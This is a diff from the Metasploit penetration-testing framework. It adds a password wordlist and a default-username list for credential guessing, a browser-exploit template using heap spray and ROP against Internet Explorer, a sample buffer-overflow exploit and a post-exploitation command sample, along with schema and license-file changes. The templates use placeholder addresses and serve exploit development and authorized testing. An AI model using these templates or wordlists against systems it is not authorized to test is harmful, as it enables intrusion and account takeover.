roota
root1234
rfnfyf
redpoint
redorblue
raritan
rais
qwerty1234567890
qwerqaz
qweewq123
qweasdzxc2
qweasd789
qwe123.
qqqitx
qazwsx!@#
qazw1234
qaz74123
pswrdpswrd
portakal1
popidc
phishfood
petert999
pepson
patrickb123
password1`
oqksad
omfglol1
ocnc123
nttocn
npwfkl
nobchan
nitech
nigugu
nfmvta
new_password
netadmin
net101
nemtom1
n0ttelling
mupali
mumuland
mexx6399
mcknight88
mc1029
mazafaka
masterok
maine207
m1r4nd4
m0t0rhead
lkilogmL
linux99
lheujq
lbyjpfdh
labas123
kukareku
krumholz
kpact
kosten
kolobezka
klmnxx
kcm
kali2002
k1rs1kka
juke2008
jtjd
joljee
jiemou3i
jbvm
iconto
ibddls
hogehoge
heleli
haslo123
harley1985
gowest!
goneo
gomachan
gmmkh
gigi99
ghbdtnbr
gfhjkmrf
g8keeper
fuckbitchesgetmoney
formeforme
flat24
flaquito6
f00sball
f00bar
ezone
ezit
ekdrms
dream182
delled0
defero
ddemde
darwin99
daemon09
d0m1n0
cyphte
cukorborso
ctrls
cti4ever
cthdfr
cpe1704tks
compaq2003
cmlslc
changeme20
cdwv
cdn123
ccaere
cbtp
cairell
cabajka
c@lvin
burek123
barbetta
baofeng
bamsty
b4lls4ck
atlant1s
astime
asdlkj123
asdlkj12
aqua2000
aqq123
apstndp
anyadhogyvan
anakonda1
alog123
akula123
aipai
adworks
admin222
adm12345
accobra
abhaile1
abcdpass
abc123d4
abang78
a1rplan3
Zxasqw12
What3v3r
Varadero
TheLast1
Tamara01
T4urus
SunnyJim7
Suckit1
Runner11
R3volution
Qwe12345
QAWSEDRF
Q!W@E#R$
Polar123
Passw0rd1111
PassW0rd
Pa22w0rd
P@$$W0RD
M1cha3l
M
LonDon
Kitz
Kia123
Joel1234
IPMI
George123
Chocolate19
Aurora01
Admin@123
Admin123
9ijn7ygv
9641
9225481
788111
749174
643558
5832277
5583134
4rfv%TGB
493749
4636421
3l3ctr1c
3800326
343guiltyspark
3425235
2keeper
2594561
2505463
24041975
23712371
23051979
21121477
20682068
20562056
1qsx2wdc
1qazcde3
1qaz"WSX
1q2w3e4R
1lkjhgfdsa
1986673
1660359
1340hd
123cztery
1234qwer`
12345678abc
123132123
116572
0407056
00850085
--------
!qwe123
!qazXsw2
!QAZ@WSX3edc4rfv
!QAZ2wsx#EDC4rfv
!@#QWE123qwe
+5
View File
@@ -0,0 +1,5 @@
ADMIN
admin
root
Administrator
USERID
+13 -64
View File
@@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20130522041110) do
ActiveRecord::Schema.define(:version => 20130717150737) do
create_table "api_keys", :force => true do |t|
t.text "token"
@@ -19,38 +19,13 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
t.datetime "updated_at", :null => false
end
create_table "attachments", :force => true do |t|
t.string "name", :limit => 512
t.binary "data"
t.string "content_type", :limit => 512
t.boolean "inline", :default => true, :null => false
t.boolean "zip", :default => false, :null => false
t.integer "campaign_id"
end
create_table "attachments_email_templates", :id => false, :force => true do |t|
t.integer "attachment_id"
t.integer "email_template_id"
end
create_table "campaigns", :force => true do |t|
t.integer "workspace_id", :null => false
t.string "name", :limit => 512
t.text "prefs"
t.integer "status", :default => 0
t.datetime "started_at"
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "clients", :force => true do |t|
t.integer "host_id"
t.datetime "created_at"
t.string "ua_string", :limit => 1024, :null => false
t.string "ua_name", :limit => 64
t.string "ua_ver", :limit => 32
t.string "ua_string", :limit => 1024, :null => false
t.string "ua_name", :limit => 64
t.string "ua_ver", :limit => 32
t.datetime "updated_at"
t.integer "campaign_id"
end
create_table "creds", :force => true do |t|
@@ -66,24 +41,6 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
t.string "source_type"
end
create_table "email_addresses", :force => true do |t|
t.integer "campaign_id", :null => false
t.string "first_name", :limit => 512
t.string "last_name", :limit => 512
t.string "address", :limit => 512
t.boolean "sent", :default => false, :null => false
t.datetime "clicked_at"
end
create_table "email_templates", :force => true do |t|
t.string "name", :limit => 512
t.string "subject", :limit => 1024
t.text "body"
t.integer "parent_id"
t.integer "campaign_id"
t.text "prefs"
end
create_table "events", :force => true do |t|
t.integer "workspace_id"
t.integer "host_id"
@@ -167,18 +124,11 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
add_index "hosts", ["state"], :name => "index_hosts_on_state"
add_index "hosts", ["workspace_id", "address"], :name => "index_hosts_on_workspace_id_and_address", :unique => true
create_table "hosts_tags", :id => false, :force => true do |t|
create_table "hosts_tags", :force => true do |t|
t.integer "host_id"
t.integer "tag_id"
end
create_table "imported_creds", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "user", :limit => 512
t.string "pass", :limit => 512
t.string "ptype", :limit => 16, :default => "password"
end
create_table "listeners", :force => true do |t|
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
@@ -448,6 +398,13 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
t.datetime "updated_at", :null => false
end
create_table "task_sessions", :force => true do |t|
t.integer "task_id", :null => false
t.integer "session_id", :null => false
t.datetime "created_at", :null => false
t.datetime "updated_at", :null => false
end
create_table "tasks", :force => true do |t|
t.integer "workspace_id", :default => 1, :null => false
t.string "created_by"
@@ -582,14 +539,6 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
add_index "web_sites", ["options"], :name => "index_web_sites_on_options"
add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost"
create_table "web_templates", :force => true do |t|
t.string "name", :limit => 512
t.string "title", :limit => 512
t.string "body", :limit => 524288
t.integer "campaign_id"
t.text "prefs"
end
create_table "web_vulns", :force => true do |t|
t.integer "web_site_id", :null => false
t.datetime "created_at", :null => false
@@ -597,7 +546,7 @@ ActiveRecord::Schema.define(:version => 20130522041110) do
t.text "path", :null => false
t.string "method", :limit => 1024, :null => false
t.text "params", :null => false
t.text "pname", :null => false
t.text "pname"
t.integer "risk", :null => false
t.string "name", :limit => 1024, :null => false
t.text "query"
@@ -15,19 +15,18 @@ require 'msf/core'
###
class Metasploit4 < Msf::Auxiliary
def initialize
super(
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Auxiliary Module',
'Version' => '$Revision: 4419 $',
'Description' => 'Sample Auxiliary Module',
'Author' => 'hdm',
'Author' => ['hdm'],
'License' => MSF_LICENSE,
'Actions' =>
[
['Default Action'],
['Another Action']
]
)
))
end
@@ -15,12 +15,12 @@ class Metasploit4 < Msf::Encoder
def initialize
super(
'Name' => 'Sample encoder',
'Version' => '$Revision$',
'Name' => 'Sample Encoder',
'Description' => %q{
Sample encoder that just returns the block it's passed
when encoding occurs.
},
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_ALL)
end
@@ -0,0 +1,147 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
###
#
# This exploit sample demonstrates how a typical browser exploit is written using commonly
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
#
###
class Metasploit4 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn
# Set :classid and :method for ActiveX exploits. For example:
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
# :method => "SetShapeNodeType",
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "8.0",
:ua_maxver => "10.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Module Name",
'Description' => %q{
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
the browser version. Please note IE8 and newer may emulate an older IE version
in compatibility mode, in that case the module won't be able to detect the
browser correctly.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
],
'Payload' =>
{
'BadChars' => "\x00", # js_property_spray
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
def get_target(agent)
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
when '6.2'
os_name = 'Windows 8'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
return t
end
end
nil
end
def get_payload(t)
stack_pivot = "\x41\x42\x43\x44"
code = payload.encoded
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
else
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
end
rop_payload
end
def get_html(t)
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
html = %Q|
<script>
#{js_property_spray}
var s = unescape("#{js_p}");
sprayHeap({shellcode:s});
</script>
|
html.gsub(/^\t\t/, '')
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
print_status("Requesting: #{request.uri}")
target = get_target(agent)
if target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
print_status("Target selected as: #{target.name}")
html = get_html(target)
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
end
end
@@ -22,13 +22,13 @@ class Metasploit4 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'Sample exploit',
'Name' => 'Sample Exploit',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in an TCP server that has a parsing bug.
},
'Author' => 'skape',
'Version' => '$Revision$',
'License' => MSF_LICENSE,
'Author' => ['skape'],
'References' =>
[
],
@@ -41,14 +41,15 @@ class Metasploit4 < Msf::Exploit::Remote
[
# Target 0: Windows All
[
'Windows Universal',
'Windows XP/Vista/7/8',
{
'Platform' => 'win',
'Ret' => 0x41424344
}
],
],
'DefaultTarget' => 0))
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
@@ -56,11 +57,11 @@ class Metasploit4 < Msf::Exploit::Remote
# vulnerable.
#
def check
return Exploit::CheckCode::Vulnerable
Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 A's
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
@@ -69,13 +70,13 @@ class Metasploit4 < Msf::Exploit::Remote
print_status("Sending #{payload.encoded.length} byte payload...")
# Build the buffer for transmission
buf = "A" * 1024
buf += [ target.ret ].pack('V')
buf += payload.encoded
buf = rand_text_alpha(1024)
buf << [ target.ret ].pack('V')
buf << payload.encoded
# Send it off
sock.put(buf)
sock.get
sock.get_once
handler
end
+2 -2
View File
@@ -17,9 +17,9 @@ class Metasploit4 < Msf::Nop
def initialize
super(
'Name' => 'Sample NOP generator',
'Version' => '$Revision$',
'Name' => 'Sample NOP Generator',
'Description' => 'Sample single-byte NOP generator',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Arch' => ARCH_X86)
end
@@ -19,8 +19,8 @@ module Metasploit4
def initialize(info = {})
super(update_info(info,
'Name' => 'Debugger Trap',
'Version' => '$Revision$',
'Description' => 'Causes a debugger trap exception through int3',
'License' => MSF_LICENSE,
'Author' => 'skape',
'Platform' => 'win',
'Arch' => ARCH_X86,
@@ -0,0 +1,40 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
###
#
# This post module sample shows how we can execute a command on the compromised machine
#
###
class Metasploit4 < Msf::Post
include Msf::Post::Common
def initialize(info={})
super(update_info(info,
'Name' => 'Sample Post Module',
'Description' => %q{Sample Post Module},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'win'],
'SessionTypes' => [ "shell", "meterpreter" ]
))
end
#
# This post module runs a ipconfig command and returns the output
#
def run
print_status("Executing ipconfig on remote machine")
o = cmd_exec("ipconfig")
print_line(o)
end
end
@@ -0,0 +1,132 @@
<ruby>
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
#
# Put your 'require' here
#
#
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
# will have to do the trick for now.
#
def help
msg = %Q|
Description:
Let's describe what this RC script is all about, plus anything the user should know before
actually using it.
Usage:
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
Options:
<rc file> - I'm sure you already know
<db_user> - Username for the database (datastore: 'DB_USER')
<db_pass> - Password for the database (datastore: 'DB_PASS')
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
<arg1> - Argument 1 (datastore: 'ARG1')
Authors:
sinn3r <sinn3r[at]metasploit.com>
|
msg = msg.gsub(/^\t/, '')
print_line(msg)
end
#
# See if we're already connected
#
def is_db_active?
begin
framework.db.hosts
return true
rescue ::ActiveRecord::ConnectionNotEstablished
return false
end
end
#
# Initialize the database.
# Default to localhost:5432, as this is the default configuration suggested by the manual.
#
def init_db(username, password, workspace)
db = "localhost:5432"
print_status("Opening #{workspace} at #{db}")
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
end
#
# Initialize the argumets here
#
def init_args
args = {}
joint = ARGV.join('')
if joint =~ /^help$/i
args[:help] = true
return args
end
# Add more arguments according to your help() function
datastore = framework.datastore
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
if not is_db_active?
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
end
end
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
return args
end
#
# This is your main function
#
def main(args)
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
end
#
# Below initializes the arguments and database
#
begin
args = init_args
if args[:help]
help
return
end
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
main(args)
rescue ArgumentError => e
print_error("Bad argument(s): #{e.message}")
return
rescue RuntimeError => e
# Any runtime error should be raised as "RuntimeError"
print_error(e.message)
return
rescue ::Exception => e
# Whatever unknown exception occurs, we raise it
raise e
end
</ruby>
-459
View File
@@ -1,459 +0,0 @@
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
[This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.]
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
